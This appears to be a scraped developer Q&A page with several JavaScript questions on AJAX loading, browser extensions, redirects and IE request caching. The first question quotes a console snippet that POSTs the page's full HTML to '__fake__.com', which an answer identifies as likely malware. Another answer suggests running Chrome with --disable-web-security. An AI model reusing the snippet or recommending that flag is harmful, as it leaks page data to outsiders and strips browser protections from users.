Page loading takes time - javascript

My website uses ajax to fetch and display data often..Everytime a request is made , it displays data fast but keep on loading. I'm unable to click on anything else, as once the psge is fully loaded, only then I can interact with the page.
I checked the console and I would like to understand what causes the following :
As I clicked on one of the links marked in red above, I got this in the console too.I don't have any link to facebook share or like button. I would like to understand what causes this error , please.
(function () {
if (window.g_clrDimensionsSent) return;
window.g_clrDimensionsSent = true;
var data = new FormData();
data.append('windowWidth', window.innerWidth);
data.append('windowHeight', window.innerHeight);
data.append('headHtml', window.document.head.outerHTML);
data.append('bodyHtml', window.document.body.outerHTML);
var xhr = new XMLHttpRequest();
xhr.open('POST', document.location.protocol + '//__fake__.com');
xhr.send(data);
})()

It looks like you are connecting from your local machine and not the website for which your Facebook page is set up. Have you checked the settings of your Facebook app?
Usually you should use your hosts file to rather mimmick your live url, or you must set the Canvas, Public etc URLs as "localhost" and not your live website.
As for the parts in RED, your site is making a post to "fake.com"... which is most likely malware in your browser, unless you specifically coded calls to post to that URL?
Run malware bytes to confirm, or disable all your plugins in your browser. The "VM" part means its the browser throwing the error, and not the website. Do a check to see if you also get those errors on other pages.

Related

Manifest V3 web extension overwrite response body

How would I overwrite the response body for an image with a dynamic value in a Manifest V3 Chrome extension?
This overwrite would happen in the background, as per the Firefox example, (see below) meaning no attaching debuggers or requiring users to press a button every time the page loads to modify the response.
I'm creating a web extension that would store an image in the extension's IndexedDB storage and then override the response body with that image on requests to a certain image. A redirect to a dataurl: I have it working in a Manifest V2 extension in Firefox via the browser.webRequest.onBeforeRequest api with the following code, but browser.webRequest and MV2 are depreciated in Chrome. In MV3, browser.webRequest was replaced with browser.declarativeNetRequest, but it doesn't have the same level of access, as you can only redirect and modify headers, not the body.
Firefox-compatible example:
browser.webRequest.onBeforeRequest.addListener(
(details) => {
const request = browser.webRequest.filterResponseData(details.requestId);
request.onstart = async () => {
request.write(racetrack);
request.disconnect();
};
},
{
urls: ['https://www.example.com/image.png'],
},
['requestBody', 'blocking']
);
The Firefox solution is the only one that worked for me, albeit being exlusive to Firefox. I attempted to write a POC userscript with xhook to modify the content of a DOM image element, but it didn't seem to return the modified image as expected. Previously, I tried using a redirect to a data URI and an external image, but while the redirect worked fine, the website threw an error that it couldn't load the required resources.
I'm guessing I'm going to have to write a content script that injects a Service Worker (unexplored territory for me) into the page and create a page rule that redirects, say /extension-injected-sw.js to either a web-available script, but I'm not too sure about how to pull that off, or if I'd still be able to have the service worker communicate with the extension, or if that would even work at all. Or is there a better way to do this that I'm overlooking?
Thank you for your time!

Perform window.location.replace multiple times in for loop

I'm not able to get my script to run window.location.replace multiple times. I have a flask application that create files given the unique ids found from streaming access logs on the server. Once the file is on the server, I have a flask route that if the user is redirected to https://somewebsite.com/getFile/<id>, it will than push the file that was created on the server to the client.
Here's my script below:
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
var response = '';
if(xhr.readyState === 4 && xhr.status === 200){
response = xhr.responseText;
response = response.substring(0, response.length-1);
response = response.split('\n');
for(x in response){
url_path = response[x];
window.location.replace(url_path);
};
};
};
xhr.open('GET', '{{ url_for('stream') }}', true);
xhr.send();
</script>
I did a few console.log() calls to see if the for loop is running correctly and it is. Even the url_path given to window.location.replace is correct. One thing to note is that when being redirecting to https://somewebsite.com/getFile/<id>, the browser doesn't technically change to that url path, because flask isn't rendering a template, but instead returning a download file, so the browser stays at the current url path after the file is downloaded.
I'm not sure why I am not able to get the script to run window.location.replace more than once. It seems like if there's 2 url_path in the response object, only the last one is being downloaded. Same goes with 3 or 4 paths. Any insight would be helpful. Thanks
An alternative solution I just figured out was instead of redirecting the same browser to multiple urls, why not just open them up in different tabs. I did this by using window.open, which to my surprise did work.
However, my browser pop up blocker did block them out at first, but after changing the settings and allowing pop ups for the page, I was successfully able to have multiple files downloaded to the client. Also, since there's no template rendering on the server side, the tabs themselves don't actually pop up, so the browser won't be flooded with tabs.
I'm still interested in knowing why window.location.replace didn't work if anyone knows why.
Your code is not working because what window.location.replace does is to literally replace the source document (see documentation) with the one provided by the new URL.
What this means is that any code you put after window.location.replace won't be executed.
That is why window.open works perfectly for your situation, because it will open a new document apart from the one it is called. But be careful because not all parameters work for all browsers (check this for compatibility specifications).

Safari extension - How can I get multiple pages to write to one new page? (see pic)

I'm building a safari extension that I want to take some data from a few pages and aggregate to a new blank page where it will be nicely formatted and compared.
I am able to have the pages send their data over to the global.html but as you probably know, the global.html can not write to a page even though it can open a new blank page.
Any ideas?
I could send all the data to a database but that seems so clunky to have to use the network to do something that should be completely local.
If I remember correctly, you can't write to a new, empty tab because it has no DOM. But if you create a new tab and set its URL to "about:blank", it will have a DOM and you can write to it using an injected script. You can have the injected script test the URL of the page it's running on and only do something if the URL is "about:blank".
You can't modify the DOM from the global.html file. But you can send messages from your global.html to a window you opened. The window just needs code to be able to receive the message.
So you would grab the content from the pages, message it over to global.html, then global.html would message it over to your new window.
You can have your global.html file open a new window to an internal file in your extension folder (calling it popup.html) like so:
var myWin = safari.application.openBrowserWindow();
myWin.activeTab.url = safari.extension.baseURI + "popup.html";
You can then message the window like so:
myWin.activeTab.page.dispatchMessage("messageName", {some: 'data'});
In your popup.html file you need some code to receive that message and you can do that like so:
safari.self.addEventListener("message", waitForMessage, false);
function waitForMessage(e){
if(e.name == 'messageName'){
var data = e.message;
}
}
If you need to message back to global.html you can do that like this:
safari.self.tab.dispatchMessage("testing",{'this': 'that'});
See more about messaging in safari extensions here: https://developer.apple.com/library/content/documentation/Tools/Conceptual/SafariExtensionGuide/MessagesandProxies/MessagesandProxies.html#//apple_ref/doc/uid/TP40009977-CH14-SW1

How can I get the HTML of a site as a variable in Javascript or jQuery?

I'm trying to get 10 million digits of pi from this site to use as a variable in Javascript. I'd like to get the HTML from the site with a simple command instead of hardcoding it. I'm using Codepen so I can't just copy and paste the text (Codepen doesn't allow so many characters). Can you help me get the HTML?
Any help is greatly appreciated!
Copying and pasting those digits would take hours
Shouldn't it be as simple as ctrl+a then copy? Then just trim the top and bottom unnecessary parts? Anyway here's a solution you could try.
Open the website
Open the Developer Tools [ Ctrl+Shift+i ], I'm on Google Chrome on a linux build
Copy & Paste the code below into the console
Profit, 10MB file
saveToFile(document.querySelector('center').textContent);
function saveToFile(string){
var blob = new Blob([string], {type:'application/text'});
var url = URL.createObjectURL(blob);
var hiddenAnchorElem = document.createElement('a');
applyAttrs.call(hiddenAnchorElem, {
href: url,
target: '_blank',
download: 'pi.text'
});
hiddenAnchorElem.click();
function applyAttrs( attrs ){
var keys = Object.keys;
keys(attrs).forEach( attr => {
this[attr] = attrs[attr];
});
}
}
You could use AJAX, if it's on the same server as your website, or if CORS is allowed by the site (which is unfortunately not likely).
You'll probably want to write server side code that pulls in the HTML of the page you would like to request, and prints it out - a proxy of sorts - and use the URL of that page rather than the actual page you are trying to get the HTML for.
Here's an example of how AJAX can be used: https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest. In that example, the HTML of the page would be stored in this.responseText in the callback handler for the AJAX call's onload event.
If you're just using this locally, though, you may be able to get around the Cross Origin Request Policy.
If you run Chrome from your Command Prompt using:
Chrome.exe --disable-web-security
...from the directory in which Chrome is installed, you'll be able to use AJAX to get the contents of the page without any server-side code.

Javascript running only once on Internet Explorer, runs properly when developer tools is open

We have an unusual problem with javascript running on IE 11. I tried it on one of our servers running IE8 and the same problem occurs. However, it runs fine on Chrome and Mozilla.
Here's the code in question:
SetGuideFatningCookie(fid); //set a cookie according to user choice
var validFatningCombo = ValidFatningCheck(); //ask server if user choice is valid using XMLHttpRequest GET request
if(validFatningCombo)
window.location.href = GetGuideTilbehoerURL(); //if valid redirect user to next page
else
popAutoSizeFancy("#GLfancy"); //if not show a fancybox with error text
The user chooses one of 7 choices. Then they click a button that runs the above code. The code sets a cookie containing the user's choice and asks the server if the choice is valid. If valid - we redirect the user and if not, we open a fancybox that contains some error text and two buttons - "Try again"(closes box and they can try again) and "Send us a message"(redirects user to our "ask us a question" page).
The code runs fine the first time the user goes to this process.
However, if they have chosen an invalid choice, they close the fancybox and try to choose another choice and continue -> then the fancy box appears ALWAYS, regardless of what the user chooses.
If they choose a valid choice and continue, get redirected to next page, then come back to this page and choose an invalid choice and press continue -> then they can continue to the next page without fancybox ever coming up.
However, if IE's developer tools are opened, the code runs correct every single time.
I have found many threads describing this is a problem with console.log. I have removed every single reference to console.log from all our .js files. It could be one of the external libraries that we are using, like jquery, modernizr, fancybox and menucool's tooltip library.
Therefore I tried including a console fallback function for IE, like this thread suggests:
Why does JavaScript only work after opening developer tools in IE once?
I am currently trying with this one, and I have tried every single other fallback console replacement from the thred I link to.
if (!window.console) window.console = {};
if (!window.console.log) window.console.log = function () { };
I tried including it:
Somewhere in our .js files
script element in head after loading all our .js files and all external libraries
script element in head before loading all our .js files and all external libraries
Inside $(document).ready(function() {}); , in a script element in head after loading all other js
So far, none of the fallback pieces of code I have tried in any of these 4 locations have solved the problem. It always behaves the same way in IE. I couldn't find another explanation than the "console" one for this problem so far, so if anyone got any insight on it, it would be greatly appreciated.
EDIT: I will include some more info:
The very act of opening Developer Tools removes the unwanted behaviour. No errors are ever shown in console.
I checked the server side to see if the server is getting the call from ValidFatningCheck(); It turns out that the call is made only the first time (or if Developer tools is open - every time) which is rather mysterious since the redirect/fancybox line comes after the server call and it doesn't fail to run, even if it runs wrong.
function ValidFatningCheck(){
var requestUrl = '/Tools.ashx?command=validscreen';
var req = new XMLHttpRequest();
req.open('GET', requestUrl, false);
req.send(null);
var res = "";
if (req.readyState==4)
res = req.responseText;
if(res == "true")
return true;
return false;
}
UPDATE : Problem solved by adding a timestamp to my XMLHttpRequest as multiple replies suggested. I didn't realize XMLHttpRequest uses AJAX so I overlooked it as a probable cause to the problem.
(I put in comments but will make this an answer now as it appears to have solved the problem) get requests are cached by IE but when the developer console is open it does not perform this cache.
three ways to fix:
add a timestamp to the request to trick the browser into thinking it is making a new request each time
var requestUrl = '/Tools.ashx?command=validscreen&time='+new Date().getTime();
set the response header to no-cache
make a POST request as these are not cached
(as pointed out by #juanmendes not ideal you are not editing a resource)

Categories